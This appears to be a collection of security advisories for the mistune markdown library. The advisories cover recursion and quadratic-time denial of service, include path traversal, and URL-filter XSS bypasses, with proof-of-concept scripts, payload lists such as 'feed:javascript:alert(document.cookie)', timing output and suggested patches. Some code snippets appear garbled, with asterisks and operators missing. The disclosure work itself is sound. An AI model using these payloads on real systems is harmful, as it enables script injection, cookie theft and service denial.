See how mistune project compares to other vendors in security performance
Summary
Type: Uncontrolled recursion via mutual include. The Include directive checks for direct self-reference (a.md cannot include a.md), but does not detect indirect cycles. Two markdown files that include each other (a.md → includes b.md → includes a.md) cause unbounded recursion until Python's stack limit fires RecursionError. The exception propagates out of the renderer and crashes the calling code. File: src/mistune/directives/include.py, lines 33-37 (the self-include check is the only cycle-detection logic). Root cause: the include logic only compares os.path.abspath(dest) == os.path.abspath(sourcefile). There is no per-render set of "files already included" that would catch transitive cycles. When a.md includes b.md, the recursive block.parse(newstate) call uses dest (b.md) as the new file, which then includes a.md (passing the self-check, because the immediate parent file is b.md, not a.md), which then includes b.md, and so on. Each recursion level adds Python frames; the default stack limit of 1000 frames trips after ~7-10 cycle iterations and Python raises RecursionError. Since the directive does not catch the exception, it propagates out of Markdown.parse() and surfaces in the calling code, crashing the request.
Affected Code
File: src/mistune/directives/include.py, lines 28-54.
python relpath = self.parsetitle(m) dest = os.path.join(os.path.dirname(sourcefile), relpath) dest = os.path.normpath(dest)
if os.path.abspath(dest) == os.path.abspath(sourcefile): # <-- only catches direct self-include return {"type": "blockerror", "raw": "Could not include self: " + relpath}
if not os.path.isfile(dest): return {"type": "blockerror", "raw": "Could not find file: " + relpath}
with open(dest, "rb") as f: content = f.read().decode(encoding)
ext = os.path.splitext(relpath)[1] if ext in {".md", ".markdown", ".mkd"}: newstate = block.statecls() newstate.env["file"] = dest newstate.process(content) block.parse(newstate) # <-- recursive parse, no cycle tracking return newstate.tokens
Why it's wrong: the cycle-detection check is one level deep. Multi-file cycles slip through trivially. Python's default recursion limit is 1000 frames, so a cycle of length 2 trips after a few hundred mutual includes; the exception is uncaught by the directive, propagating out of Markdown.call() and crashing whatever called it.
Exploit Chain
1. Application uses mistune with the Include directive enabled. Application accepts user-supplied markdown files (CMS, wiki, multi-user documentation platform, note-taking app, CI/CD doc renderer). 2. Attacker uploads two markdown files: - a.md: .. include:: b.md - b.md: .. include:: a.md 3. Renderer is invoked on a.md (or any markdown that references this pair). Include directive includes b.md, which includes a.md, which includes b.md, ... Each recursion adds Python frames. 4. After ~340 cycle iterations (depending on default sys.setrecursionlimit(1000) and the per-include frame depth), Python raises RecursionError: maximum recursion depth exceeded. 5. The exception is not caught by the directive. It propagates through block.parse, through Markdown.call, and into the application's request handler. If the application doesn't catch it explicitly, the request errors out (HTTP 500 in web contexts, crash in CLI tools).
Security Impact
Attacker capability: crash the rendering engine on demand by submitting any markdown that triggers the cycle. Repeated requests deny service. If the renderer is used in a hot path (per-page-view docs rendering, search-index regeneration, scheduled doc-export jobs), the cycle persists across the whole pipeline. Preconditions: application uses mistune with the Include directive enabled and renders user-supplied markdown that can reference other user-uploaded files. Attacker needs write access to two .md files in the include search path (or a single file including a known-recurring pair). Differential: PoC-verified against mistune@3.2.1:
python import os, mistune from mistune.directives import RSTDirective, Include
os.makedirs('/tmp/mistune-recur', existok=True) with open('/tmp/mistune-recur/a.md', 'w') as f: f.write('A\n\n.. include:: b.md') with open('/tmp/mistune-recur/b.md', 'w') as f: f.write('B\n\n.. include:: a.md')
md = mistune.createmarkdown(plugins=[RSTDirective([Include()])]) state = md.block.statecls() state.env['file'] = '/tmp/mistune-recur/a.md' md.parse('.. include:: b.md', state=state) RecursionError: maximum recursion depth exceeded
The patched build (with the suggested fix below) returns a blockerror token like the existing self-include check, instead of recursing forever.
Suggested Fix
Track included paths in state.env and reject any include that would re-enter a path already on the include stack:
diff --- a/src/mistune/directives/include.py +++ b/src/mistune/directives/include.py @@ -28,8 +28,18 @@ class Include(DirectivePlugin): relpath = self.parsetitle(m) - dest = os.path.join(os.path.dirname(sourcefile), relpath) - dest = os.path.normpath(dest) + base = os.path.realpath(os.path.dirname(sourcefile)) + dest = os.path.realpath(os.path.join(base, relpath)) + + # Track include stack across recursive parses to detect cycles. + includestack = state.env.setdefault("includestack", []) + if dest in includestack or dest == os.path.realpath(sourcefile): + return { + "type": "blockerror", + "raw": "Could not include (cycle): " + relpath, + }
- if os.path.abspath(dest) == os.path.abspath(sourcefile): - return { - "type": "blockerror", - "raw": "Could not include self: " + relpath, - } @@ ... in the markdown-include branch ... + includestack.append(dest) + try: + newstate = block.statecls() + newstate.env["file"] = dest + newstate.env["includestack"] = includestack + newstate.process(content) + block.parse(newstate) + return newstate.tokens + finally: + includestack.pop()
This catches cycles of any length (a → b → a, a → b → c → a, etc.). Pair this with the path-containment fix from the LFI advisory and the HTML-extension fix from the include-XSS advisory; together those three patches make the Include directive safe to enable on user-supplied markdown.
Add a regression test asserting that a 2-cycle and a 3-cycle both produce blockerror rather than RecursionError.
Summary
Type: Algorithmic-complexity DoS in reference-link definition handling. A markdown document with N reference-link definitions of the same key (or many distinct keys) takes O(N²) parser time. 5000 repeated [a]: u\n definitions take ~1.1 second; 10000 → ~4.5 seconds. File: src/mistune/blockparser.py (reference-link def parsing) and the surrounding reflinks env-dictionary handling. Root cause: every reference definition is parsed by scanning forward from each candidate position. The unikey normalisation runs per-def, the dictionary insert is per-def, and the lookup-by-label-then-iterate-defs path is linear in the number of stored defs. For input with N defs, the total work is O(N²).
Affected Code
src/mistune/blockparser.py — reference-definition rule fires on every line that matches [label]: url. For each one: - unikey(label) is called (linear scan of the label). - The def is appended to state.env['reflinks']. - Later inline-link resolution looks up by unikey(label) in the dict (O(1)) but the surrounding parser revisits the def list for paragraph-vs-def disambiguation.
The cumulative parse time grows as the square of the number of defs.
Why it's wrong: the parser does not amortise the def-list scan. A single forward pass with a hash-keyed dict (already in place) plus a per-line classifier should make this O(N).
Exploit Chain
1. Application uses mistune to render attacker-supplied markdown. No plugins required. 2. Attacker submits a 35 KB document of [a]: u\n repeated 5000 times followed by [click][a]. 3. CPU pegs for ~1.1 seconds. 10000 defs → ~4.5 s. 20000 → ~18 s. Doubling input quadruples time.
Security Impact
Attacker capability: small input → large CPU. Predictable scaling. Can be repeated. Preconditions: application uses mistune.createmarkdown() (default config) on attacker-supplied markdown. Worth noting: the reflinks dictionary persists for the lifetime of the parse, so a long document with many defs builds up memory; with N defs of attacker-chosen length, the per-def normalisation cost compounds. Differential: PoC-verified against mistune@3.2.1, default config:
python import mistune, time md = mistune.createmarkdown() for n in [1000, 2000, 5000, 10000]: s = '[a]: u\n' n + '[click][a]' t = time.time() md(s) print(f' ref defs {n} ({len(s)}b): {(time.time() - t) 1000:.0f}ms')
Output (Python 3.13, Linux, 2.5GHz CPU): ref defs 1000 ( 7012b): 46ms ref defs 2000 (14012b): 186ms ref defs 5000 (35012b): 1121ms ref defs 10000 (70012b): 4400ms
The patched build (with the surrounding parser amortised to O(N)) keeps the time linear.
Suggested Fix
Replace the per-def re-scan with a single forward pass that classifies each line into refdef | paragraph | other once and only inserts into reflinks once per def. The dict already exists; the wasted work is in the surrounding scan loop, not in the dict operations.
A regression test asserting that md('[a]: u\n' 50000 + '[click][a]') completes in under 1 second would catch any regression.
Summary
A path traversal issue exists in mistune's Include directive when markdown files are processed using md.read(). A crafted include path can cause files outside the intended markdown directory to be accessed.
Details
The issue occurs in the Include.parse() method where user-supplied paths are joined and normalized without verifying that the resulting path remains within an expected directory.
python relpath = self.parsetitle(m) dest = os.path.join(os.path.dirname(sourcefile), relpath) dest = os.path.normpath(dest)
Because the final path is not restricted to a trusted base directory, path traversal sequences such as ../ may reference files outside the intended location.
Proof of Concept
Create a markdown file:
markdown .. include:: ../../../example.txt
Process it using:
python import mistune from mistune.directives import RSTDirective, Include
md = mistune.createmarkdown( plugins=[RSTDirective([Include()])] )
result, state = md.read("test.md") print(result)
Impact
Applications that process untrusted markdown files with the Include directive enabled may allow unintended file access. The impact depends on how the feature is used and what files are accessible to the running process.
Recommended Fix
Validate the resolved path and ensure it remains within an allowed directory before opening the file.
Summary
Type: URL-scheme allowlist gap. The safeurl filter only blocks the four schemes javascript:, vbscript:, file:, data:. Several other schemes are accepted into rendered <a href="..."> and <img src="..."> tags despite being known XSS vectors in legacy or chain-handling browsers. The same gap applies to direct links, reference links, and autolinks. File: src/mistune/renderers/html.py, line 11-23 (HARMFULPROTOCOLS list). Root cause: the HARMFULPROTOCOLS tuple is a hardcoded, opt-out denylist of four entries. Browsers historically supported (and some still partially support) several other schemes that either execute JavaScript directly (livescript:, mocha:) or wrap a javascript: payload (feed:javascript:, view-source:javascript:, jar:javascript:, ms-its:javascript:, mk:@MSITStore:javascript:). On user-agents that still recognise these schemes (older Firefox builds for feed:/jar:, all Internet Explorer / Edge Legacy for ms-its:/mk:/res:, niche chrome-style browsers, browser extensions that register custom protocol handlers), clicking a link rendered by mistune executes attacker-controlled JavaScript in the page's origin.
Affected Code
File: src/mistune/renderers/html.py, lines 10-62.
python class HTMLRenderer(BaseRenderer): HARMFULPROTOCOLS: ClassVar[Tuple[str, ...]] = ( "javascript:", "vbscript:", "file:", "data:", ) # <-- BUG: incomplete denylist GOODDATAPROTOCOLS: ClassVar[Tuple[str, ...]] = ( "data:image/gif;", "data:image/png;", "data:image/jpeg;", "data:image/webp;", )
def safeurl(self, url: str) -> str: if self.allowharmfulprotocols is True: return escapetext(url) url = url.lower() if self.allowharmfulprotocols and url.startswith(tuple(self.allowharmfulprotocols)): return escapetext(url) if url.startswith(self.HARMFULPROTOCOLS) and not url.startswith(self.GOODDATAPROTOCOLS): return "#harmful-link" return escapetext(url) # <-- BUG: any scheme not in HARMFULPROTOCOLS passes through
Why it's wrong: an opt-out denylist for URL schemes is the wrong shape. The set of schemes a user-agent might honour is unbounded (registered handlers, browser extensions, OS-level protocol registrations, custom intent handlers on Android, etc.), but the set of schemes a markdown renderer needs to allow is small (http://, https://, mailto:, optionally tel:, ftp:, fragment-only #anchor, and a few image-only data: types). Switching to an opt-in allowlist with a safeextraprotocols knob for callers who need others would close every variant of this bug class permanently. The current code accepts every chained-scheme XSS vector for as long as the project remembers to keep the denylist current.
Exploit Chain
1. Application accepts attacker-supplied markdown and renders it with mistune. The default escape=True prevents raw HTML, but link href/image src filtering is the only XSS defense for click and !alt syntax. 2. Attacker writes click here). mistune's safeurl checks feed:javascript:alert(document.cookie) against HARMFULPROTOCOLS = ('javascript:', 'vbscript:', 'file:', 'data:') — none match. The href is escapetext'd (HTML-entity escape) and emitted as <a href="feed:javascript:alert(document.cookie)">click here</a>. 3. Victim using a Firefox build that still has the feed handler registered (extension, configuration, or LTS that retained the feed reader past the 64.0 removal — including some forks and ESR builds) clicks the link. Firefox's feed handler invokes the inner URL, which is javascript:alert(...). JS executes in the page's origin. Victim's session cookie is exfiltrated. 4. Same pattern for livescript:alert(1) (Netscape Communicator era, still recognised by some niche browsers / browser-emulator tools), view-source:javascript:alert(1) (Firefox, see CVE-2009-1938), jar:javascript:alert(1) (older Firefox), ms-its:javascript: (IE/Edge Legacy), res:javascript: (IE), mk:@MSITStore:javascript: (IE CHM viewer). Each user-agent that recognises one of these is exploitable; the user-agent population that recognises at least one is not negligible (corporate environments still running Edge Legacy compatibility mode, locked-down kiosk browsers, Android WebView in apps that register custom intent handlers, Linux distros with old Firefox ESR plus the feed: extension, etc.).
The same primitive applies to image src (! rendered as <img src="feed:...">) — though most browsers don't fetch javascript: from img src, the same chained handler quirk applies on a few user-agents — and to reference links and autolinks (verified in the PoC below; the rendered HTML is identical regardless of which markdown link syntax is used).
Security Impact
Severity: sec-moderate. Conditional XSS depending on user-agent. Modern Chrome / Edge Chromium / Safari ignore most of these schemes, but Firefox forks, Edge Legacy, in-app WebViews, browser extensions registering custom handlers, and corporate browser deployments are exposed. Defence-in-depth is the framing: a markdown renderer should not need to track which browsers still honour which legacy chained-scheme. Attacker capability: plant a link in any place the application renders user-supplied markdown. When clicked by a user-agent that honours the legacy scheme, the attacker's JavaScript runs in the page's origin (steal cookies, perform actions as the victim, etc.). Preconditions: application uses mistune to render attacker-influenced markdown. Default config. Victim user-agent is one of the affected populations. No specific mistune option is required. Differential: PoC-verified against mistune@3.2.1, default config. The following inputs all PASS the filter and reach the rendered HTML unchanged:
python import mistune md = mistune.createmarkdown() for url in [ 'feed:javascript:alert(1)', # Firefox feed handler chain 'livescript:alert(1)', # Netscape, niche browsers 'mocha:alert(1)', # Netscape, niche browsers 'view-source:javascript:alert(1)', # Firefox view-source chain (CVE-2009-1938 class) 'jar:javascript:alert(1)', # Firefox jar: handler chain 'ms-its:javascript:alert(1)', # IE/Edge Legacy InfoTech Storage handler 'mk:@MSITStore:javascript:alert(1)', # IE CHM viewer chain 'res:javascript:', # IE resource: handler ]: print(md(f'click').strip())
Output (each one passes the filter): <p><a href="feed:javascript:alert(1)">click</a></p> <p><a href="livescript:alert(1)">click</a></p> <p><a href="mocha:alert(1)">click</a></p> <p><a href="view-source:javascript:alert(1)">click</a></p> <p><a href="jar:javascript:alert(1)">click</a></p> <p><a href="ms-its:javascript:alert(1)">click</a></p> <p><a href="mk:@MSITStore:javascript:">click</a></p> <p><a href="res:javascript:">click</a></p>
For comparison, the four schemes already in the denylist are correctly blocked: javascript:, vbscript:, file:, data:text/html all return <a href="#harmful-link">.
The same gap applies to reference links ([click][ref]\n\n[ref]: feed:javascript:alert(1) → <a href="feed:javascript:alert(1)">) and to autolinks (<feed:javascript:alert(1)> → <a href="feed:javascript:alert(1)">).
Suggested Fix
Switch from denylist to allowlist. The set of schemes a markdown renderer needs to allow is small and well-known; the set of schemes that might trigger handler chains is unbounded.
diff --- a/src/mistune/renderers/html.py +++ b/src/mistune/renderers/html.py @@ -7,21 +7,28 @@ class HTMLRenderer(BaseRenderer):
escape: bool NAME: ClassVar[Literal["html"]] = "html" - HARMFULPROTOCOLS: ClassVar[Tuple[str, ...]] = ( - "javascript:", - "vbscript:", - "file:", - "data:", - ) + SAFEPROTOCOLS: ClassVar[Tuple[str, ...]] = ( + "http:", + "https:", + "mailto:", + "tel:", + "ftp:", + "ftps:", + "irc:", + "ircs:", + ) GOODDATAPROTOCOLS: ClassVar[Tuple[str, ...]] = ( "data:image/gif;", "data:image/png;", "data:image/jpeg;", "data:image/webp;", )
@@ -49,15 +56,21 @@ class HTMLRenderer(BaseRenderer): def safeurl(self, url: str) -> str: - if self.allowharmfulprotocols is True: - return escapetext(url) - - url = url.lower() - if self.allowharmfulprotocols and url.startswith(tuple(self.allowharmfulprotocols)): - return escapetext(url) - - if url.startswith(self.HARMFULPROTOCOLS) and not url.startswith(self.GOODDATAPROTOCOLS): - return "#harmful-link" - return escapetext(url) + # Allow-list: only schemes in SAFEPROTOCOLS, image-only data: URLs in + # GOODDATAPROTOCOLS, scheme-relative URLs (//host/path), absolute + # paths (/path), and anchor-only references (#fragment) reach the + # rendered output. Everything else is replaced with '#harmful-link'. + if self.allowharmfulprotocols is True: + return escapetext(url) + url = url.lower().lstrip() + if ( + url.startswith(self.SAFEPROTOCOLS) + or url.startswith(self.GOODDATAPROTOCOLS) + or url.startswith(("/", "#", "?")) + or ":" not in url.split("/", 1)[0] # bare relative path + ): + return escapetext(url) + if self.allowharmfulprotocols and url.startswith(tuple(self.allowharmfulprotocols)): + return escapetext(url) + return "#harmful-link"
The allowharmfulprotocols option is preserved, so callers who genuinely want to allow a custom scheme can still opt in. The lower().lstrip() also closes the leading-whitespace evasion sub-case (e.g., javascript: is already blocked by the current code via lower().startswith, but the same pattern needs to apply on the new allowlist branch). Add regression tests for each scheme listed in the PoC above asserting they resolve to #harmful-link.
Summary
Type: Algorithmic-complexity DoS in core emphasis parsing. A long sequence of well-formed x (strong) or x (strong-emphasis combined) pairs causes O(N²) parser work. Distinct from the bracket-bomb DoS ([ repetition) and from the formatting-plugin DoS (~~/==/^^); this one fires on default-config mistune with no plugins required. File: src/mistune/inlineparser.py lines 41-48 (the EMPHASISENDRE family) and the surrounding emphasis dispatch. Root cause: for every opening run of s the parser scans forward using one of EMPHASISENDRE[''] / [''] / [''] to find the matching close. Each scan is bounded per call, but the parser invokes the scan from every potential start position. For input shaped x repeated N times, every is treated as a potential start, each scan can cover up to the end of input. Total work is O(N²). The triple-emphasis variant x is slightly worse due to the extra alternation between , , and close patterns. Reproducible against default mistune with no plugins.
Affected Code
File: src/mistune/inlineparser.py, lines 41-48.
python EMPHASISENDRE = { "": re.compile(r"(?:" + PREVENTBACKSLASH + r"\\\|[^\s])\(?!\)"), "": re.compile(r"(?:" + PREVENTBACKSLASH + r"\\|[^\s])(?!)\b"), "": re.compile(r"(?:" + PREVENTBACKSLASH + r"\\\|[^\s])\\(?!\)"), "": re.compile(r"(?:" + PREVENTBACKSLASH + r"\\|[^\s])(?!)\b"), "": re.compile(r"(?:" + PREVENTBACKSLASH + r"\\\|[^\s])\\\(?!\)"), "": re.compile(r"(?:" + PREVENTBACKSLASH + r"\\|[^\s])(?!)\b"), } Each of the six end-patterns is invoked from every emphasis open position fired by the inline rule r"\{1,3}(?=[^\s])|\b{1,3}(?=[^\s])". The scan itself is bounded per call; the cost comes from the parser invoking the scan at every matching open marker, giving O(N²) total work.
Why it's wrong: same shape as the formatting-plugin and bracket-bomb DoS findings. The CommonMark reference parser handles emphasis in linear time using a delimiter-stack algorithm (commonmark.js, commonmark-py, markdown-it-py all do this). mistune retries the close-scan from each open marker. The bounded regex is not enough; the surrounding loop is the source of the quadratic.
Exploit Chain
1. Application uses mistune to render user-supplied markdown. No plugins required — affects the default mistune.createmarkdown() configuration. 2. Attacker submits a 40 KB payload of x repeated 8000 times. 3. Server CPU pegs for ~4 seconds; 16 KB → ~17 seconds. Doubling input quadruples time. 4. Repeating the request floods the worker pool.
Security Impact
Severity: sec-high. Network-reachable, no authentication, no plugin requirement. Default mistune is vulnerable. Attacker capability: O(N²) CPU cost from a single small input. Predictable scaling, easy to combine with concurrent requests for service denial. Preconditions: application uses mistune.createmarkdown() (default config) on attacker-supplied markdown. No plugins required. Differential: PoC-verified against mistune@3.2.1, default config:
python import mistune, time md = mistune.createmarkdown() # no plugins for n in [500, 1000, 2000, 4000, 8000]: s = 'x' n t = time.time() md(s) print(f' x {n} ({len(s)}b): {(time.time() - t) 1000:.0f}ms')
Output (Python 3.13, Linux, 2.5GHz CPU): x 500 (2500b): 20ms x 1000 (5000b): 74ms x 2000 (10000b): 284ms x 4000 (20000b): 1079ms x 8000 (40000b): 4309ms
Triple-emphasis is similar: md('x' 4000) # ~1500ms
Linear in N for non-emphasis input of comparable size: md('xxxxx' 8000) # 1ms (4000x faster)
The patched build (with the suggested fix below — delimiter-stack rewrite or hard cap on simultaneous open markers) keeps the time linear in N.
Suggested Fix
Cap the number of unmatched opening emphasis markers the parser will track simultaneously, treating the rest as literal text:
diff --- a/src/mistune/inlineparser.py +++ b/src/mistune/inlineparser.py @@ ... in the emphasis-handling code path + # Bound the number of open emphasis markers tracked. CommonMark gives + # no semantics to deeply nested unmatched emphasis; this cap turns the + # parser-level O(N^2) into O(N) for adversarial inputs while preserving + # behaviour on every realistic markdown document. + MAXOPENEMPHASIS = 100 + if openemphasiscount > MAXOPENEMPHASIS: + # treat remaining / as literal text + ...
The proper fix is a delimiter-stack pass, the same approach the formatting-plugin advisory and the bracket-bomb advisory recommend. All three DoS findings share the same algorithmic pattern; a single rewrite of the inline-token retry loop closes them together. Add a regression test asserting that md('x' 50000) completes in under 1 second.
In src/mistune/directives/admonition.py, the renderadmonition() function concatenates the :class: option directly into the HTML class attribute without escaping (lines 63-68).
This allows attribute injection and XSS even when HTMLRenderer(escape=True) is used.
The directive name parameter is safe (validated against whitelist), but the class option comes from raw user input.
Summary An XSS vulnerability in Mistune allows bypassing of safeurl() protections via percent-encoded javascript URIs.
Details The vulnerability exists in HTMLRenderer.safeurl() in Mistune.
The function is intended to block harmful URL schemes such as "javascript:" by checking the prefix of the provided URL:
url = url.lower() if url.startswith(self.HARMFULPROTOCOLS): return "#harmful-link"
However, the input URL is not URL-decoded before this check. Because of this, an attacker can use percent-encoding to bypass the filter. For example:
javascript%3Aalert(1)
Since "%3A" is not decoded to ":", the check does not detect the "javascript:" scheme.
When rendered in a browser, the URL is decoded, resulting in execution of arbitrary JavaScript upon user interaction.
This effectively bypasses Mistune's built-in safeurl() protection mechanism.
PoC 1. Install vulnerable version:
pip install mistune==3.2.0
2. Run the following code:
import mistune
markdown = mistune.createmarkdown() html = markdown("j)")
print(html)
3. Output:
<p><a href="javascript%3Aalert(1)">j</a></p>
4. Open the rendered HTML in a browser and click the link.
5. The browser decodes "%3A" into ":" and executes:
javascript:alert(1)
Impact This is a cross-site scripting (XSS) vulnerability.
An attacker can craft a malicious Markdown link that executes JavaScript in the victim's browser when clicked.
Impact includes: - Session hijacking (e.g., cookie theft) - Execution of arbitrary JavaScript in the victim's context - Potential account takeover depending on the application
This affects any application that renders user-controlled Markdown using Mistune without additional URL sanitization.
Summary
Type: Predictable identifier generation. The toc plugin and TableOfContents directive both default to generating heading IDs of the form toc1, toc2, toc3, ... with no input-derived component. An attacker who can place a heading anywhere in the document can predict which tocN ID it will receive, and can inject HTML elsewhere (in a non-heading context) that uses the same id="tocN" to either (a) shadow the legitimate heading anchor, breaking same-page navigation, or (b) collide with CSS or JavaScript that targets #tocN selectors, redirecting click handlers and styling to attacker-chosen content. File: src/mistune/toc.py line 36-37 (headingid = lambda token, index: "toc" + str(index + 1)); src/mistune/directives/toc.py line 33 (same default). Root cause: the default headingid callback ignores the heading's text content and uses only the headings's order in the document. Two documents rendered together (or one document with attacker-influenced headings spliced into trusted content) produce overlapping tocN IDs. Because id attribute uniqueness is required by HTML, browsers behaviour on duplicate IDs is undefined; document.getElementById('toc1') returns the first match, getElementsByTagName + querySelector semantics differ across paths, and CSS rules targeting #toc1 apply to whichever element matches first in tree order.
Affected Code
File: src/mistune/toc.py, lines 33-39.
python def addtochook(md, minlevel=1, maxlevel=3, headingid=None): if headingid is None: def headingid(token, index): return "toc" + str(index + 1) # <-- BUG: index-only ID, no slug derived from heading text
File: src/mistune/directives/toc.py, lines 32-33.
python class TableOfContents(DirectivePlugin): def init(self, minlevel=1, maxlevel=3): # ...
def generateheadingid(self, token, index): return "toc" + str(index + 1) # <-- BUG: same predictable scheme
Why it's wrong: the standard markdown-engine convention (used by GitHub-flavoured Markdown, Sphinx, MkDocs, pandoc, every modern markdown renderer in production) is to slugify the heading TEXT for the ID — <h1 id="introduction">Introduction</h1> — with a numeric suffix appended only when slug collisions occur. mistune's default punts the slugification entirely and produces purely positional IDs that an attacker can predict in O(1).
The downstream impacts: - Same-page links with click go to whichever element with id="toc1" appears first in tree order. If the attacker can land any HTML element with id="toc1" before the real heading (via inlinehtml with escape=False, via the include-directive HTML branch, via attacker-supplied content earlier in the document), navigation is hijacked. - CSS rules targeting #toc1 apply to the wrong element. - JavaScript bound to document.getElementById('toc1') operates on the wrong element. - The TOC's own <a href="#toc1"> link in the rendered TOC list points to whichever element wins the duplicate-ID race.
Exploit Chain
1. Application uses mistune with addtochook(md) or TableOfContents directive enabled (the documented setup for sites with TOC support). 2. Application renders an attacker-supplied document, or splices attacker content into a trusted document. With escape=False (or via the include-directive .html branch covered by my prior advisory), the attacker can place <a id="toc1">...</a> anywhere in the document. 3. mistune assigns id="toc1" to the first heading. Now there are two elements with id="toc1" in the page. 4. The rendered TOC contains <a href="#toc1">First heading</a>. Clicking it navigates to whichever element with id="toc1" appears first in tree order. If the attacker placed their <a id="toc1"> BEFORE the heading, navigation is hijacked. 5. Same-page CSS / JS / aria-described references to #toc1 similarly redirect.
Security Impact
Severity: sec-low. Not a direct XSS or RCE; the issue is identifier confusion that enables UI-redirection / navigation-hijack attacks. The realistic attacker capability is "make an internal anchor link go to attacker content instead of the real heading", or "make a CSS selector apply to attacker content", or "break aria/screen-reader associations". Attacker capability: with the ability to plant any HTML element with id="tocN" in the document, hijack <a href="#tocN"> navigation and any CSS/JS targeting that ID. With escape=False, this is straightforward. With escape=True, the attacker needs another vector to land a raw id attribute (one of the include-directive branches, a sibling tooling pipeline that lets HTML through, etc.). Preconditions: application uses TOC + the default headingid callback. If the application provides its own headingid (e.g., one based on slugified heading text, with collision suffixes), this finding does not apply. Differential: PoC-verified against mistune@3.2.1:
python import mistune from mistune.directives import RSTDirective, TableOfContents md = mistune.createmarkdown(plugins=[RSTDirective([TableOfContents()])])
print(md(''' .. toc::
Heading 1
Heading 2 '''))
Output (note: id="toc1" / id="toc2", purely positional): <details class="toc" open> <summary>Table of Contents</summary> <ul> <li><a href="#toc1">Heading 1</a></li> <li><a href="#toc2">Heading 2</a></li> </ul> </details> <h1 id="toc1">Heading 1</h1> <h1 id="toc2">Heading 2</h1>
The patched build (with the suggested fix below) produces text-derived slugs like id="heading-1" and id="heading-2", which are tied to content rather than position.
Suggested Fix
Default to slugifying the heading text:
diff --- a/src/mistune/toc.py +++ b/src/mistune/toc.py @@ -33,9 +33,18 @@ def addtochook(md, minlevel=1, maxlevel=3, headingid=None): if headingid is None: + import re + slugre = re.compile(r"[^a-z0-9]+") + seen = {} def headingid(token, index): - return "toc" + str(index + 1) + text = striptags(md.renderer(md.inline(token["text"], {}), BlockState())) + slug = slugre.sub("-", text.lower()).strip("-") or "section" + n = seen.get(slug, 0) + seen[slug] = n + 1 + return slug if n == 0 else f"{slug}-{n}"
Same change applies to src/mistune/directives/toc.py:33. Existing applications that have hardcoded #tocN anchors will break; document the migration in the changelog and consider providing an opt-out flag for the legacy behaviour. Add a regression test that asserts heading IDs are slug-derived, not position-derived, and that collisions get a -N suffix.
Summary
Type: Algorithmic-complexity denial of service. A run of N closed pairs ~~x~~~~x~~... (or the analogous ==x== for mark, ^^x^^ for insert) causes O(N²) work in the formatting parser. With the strikethrough, mark, or insert plugin enabled, an 8 KB input pegs the CPU for ~4 seconds; 16 KB → ~17 seconds. File: src/mistune/plugins/formatting.py, lines 13-15 (the STRIKEEND / MARKEND / INSERTEND patterns and their per-position scan). Root cause: for each opening ~~/==/^^ the parser scans forward for the matching close pattern. The scan itself uses a bounded regex, but the parser tries the close-scan at every potential start position. For input shaped like ~~x~~ repeated N times, every ~~ is examined as a possible start, each scan covers up to the end of input. Total work is O(N²). Default config without these plugins handles the same input in linear time (4 ms for 4000 reps), confirming the cost is in the formatting plugin's per-marker scan, not in core parsing.
Affected Code
File: src/mistune/plugins/formatting.py, lines 12-16.
python STRIKEEND = re.compile(r"(?:" + PREVENTBACKSLASH + r"\\~|[^\s~])~~(?!~)") MARKEND = re.compile(r"(?:" + PREVENTBACKSLASH + r"\\=|[^\s=])==(?!=)") INSERTEND = re.compile(r"(?:" + PREVENTBACKSLASH + r"\\\^|[^\s^])\^\^(?!\^)") Each pattern is scanned forward from every start position fired by the corresponding inline rule. The end-pattern itself is bounded; the cost comes from the surrounding parser invoking the scan at every '~~' / '==' / '^^' token in the input, giving N starts × O(N) per scan = O(N^2) total.
Why it's wrong: the same algorithmic-complexity flaw class as [ / [a parsing in core: a per-token retry loop without memoisation of failed positions. Each formatting marker is tried as both a potential start and as a continuation. A linear-pass delimiter-stack algorithm (matching how commonmark-py and markdown-it-py handle emphasis) would do this work in O(N) total. The bounded regex on each individual scan does not bound the parser-level repetition.
Exploit Chain
1. Application uses mistune to render user-supplied markdown and has any of the formatting plugins enabled (plugins=['strikethrough'], ['mark'], ['insert'], or any superset). These plugins are commonly enabled because GitHub-flavoured-Markdown compatibility requires ~~strikethrough~~ and many editors emit ==highlighting== and ^^underline^^ shortcuts. 2. Attacker submits an 8 KB markdown payload of the form ~~x~~~~x~~~~x~~... (40 000 characters of ~~x~~ repeated 8000 times, or the analogous shape with == / ^^). 3. Server calls mistune.createmarkdown(plugins=['strikethrough'])(payload). CPU pegs for ~4 seconds; 16 KB → ~17 seconds; 32 KB → ~70 seconds. Pure CPU cost, no significant memory growth. 4. Repeating the request floods the worker pool. On a single-thread WSGI handler this is one request per outage; on a thread pool, a small number of concurrent attackers exhausts capacity.
Security Impact
Severity: sec-high. Network-reachable, no authentication, predictable scaling, single-payload primitive. Only requires a user-supplied markdown sink and a formatting plugin enabled — both are common. Attacker capability: small input → large CPU. Doubling input size quadruples CPU time. Sustained requests deny service to other users. Preconditions: application uses mistune with any of strikethrough, mark, or insert plugins enabled. Default config does NOT enable these (so the attack only fires against the substantial deployed population that turns them on for GFM/markdown-extra compatibility). Differential: PoC-verified against mistune@3.2.1:
python import mistune, time md = mistune.createmarkdown(plugins=['strikethrough']) for n in [500, 1000, 2000, 4000, 8000]: s = '~~x~~' n t = time.time() md(s) print(f' ~~x~~ {n} ({len(s)}b): {(time.time() - t) 1000:.0f}ms')
Output (Python 3.13, Linux, 2.5GHz CPU): ~~x~~ 500 (2500b): 19ms ~~x~~ 1000 (5000b): 71ms ~~x~~ 2000 (10000b): 272ms ~~x~~ 4000 (20000b): 1090ms ~~x~~ 8000 (40000b): 4302ms
Identical scaling for ==x== (mark) and ^^x^^ (insert): md = mistune.createmarkdown(plugins=['mark']) md('==x==' 4000) # ~1100ms md = mistune.createmarkdown(plugins=['insert']) md('^^x^^' 4000) # ~1080ms
Without the plugin, the same input parses in linear time: md = mistune.createmarkdown() # no plugins md('~~x~~' 4000) # 4ms (1000x faster)
The patched build (with the suggested fix below — either a delimiter-stack rewrite or a hard cap on the number of unmatched markers tracked) keeps the time linear in N.
Suggested Fix
The minimal fix is to cap the number of simultaneously-tracked unmatched markers, treating extras as literal text. The proper fix is a single-pass delimiter-stack algorithm matching the CommonMark reference implementation. Surgical patch:
diff --- a/src/mistune/plugins/formatting.py +++ b/src/mistune/plugins/formatting.py @@ ... in the parsestrikethrough / parsemark / parseinsert functions + # Bound the number of open markers the parser will track concurrently. + # Inputs with more than this many open ~~ / == / ^^ in flight are + # almost certainly adversarial; CommonMark gives no semantics to + # deeply nested unmatched markers. + MAXOPENMARKERS = 100 + if openmarkercount > MAXOPENMARKERS: + # treat remaining markers as literal text, do not invoke the + # forward-scan to find a close + ...
